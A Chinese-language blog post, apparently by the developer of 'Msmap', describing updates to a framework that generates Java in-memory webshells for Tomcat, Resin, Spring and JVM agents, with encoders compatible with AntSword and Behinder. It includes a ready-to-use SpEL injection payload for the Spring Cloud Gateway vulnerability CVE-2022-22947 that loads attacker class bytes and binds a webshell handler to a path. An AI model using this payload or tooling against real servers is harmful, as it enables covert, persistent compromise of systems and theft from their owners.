Msmap内存马生成框架(三)
上一次水文还在遥远的上一次,期间除了进一步解藕和美化外:
添加了Tomcat7、Resin4、SpringMVC、SpringCloud、JVM的内存马
优化类加载方式、StandardContext获取方式
增加兼容蚁剑和冰蝎的XOR编码器,对JSP/X脚本Unicode编码
支持复制类字节码到系统剪切板,捞起了WsFilter的自动编译
先说最没有营养的,安装pyperclip
模块就能在生成和自动编译后,将Base64编码的类字节码复制到系统剪切板,省去了在终端里手动复制的过程。这是我感觉最舒服的一个功能,主要是因为容易写不费脑子= =
对于Spring Cloud Gateway的SpEL注入(CVE-2022-22947),可以使用如下示例语句注入Spring Handler
,将BASE64_CLASSBYTES
替换为生成的类字节码,/index
对应内存马的绑定路径。
1 | #{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringHandler',T(org.springframework.util.Base64Utils).decodeFromString('BASE64_CLASSBYTES'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).addHandler(@requestMappingHandlerMapping, '/index')} |
AgentFiless(JVM)内存马是偷了冰蝎的AgentNoFile移植过来的,《论如何优雅的注入Java Agent内存马》不说概念完全不懂,具体技术细节那也是一脸懵逼。目前只是实验性地做了半自动适配,也许ASM全自动就在不久的下一次?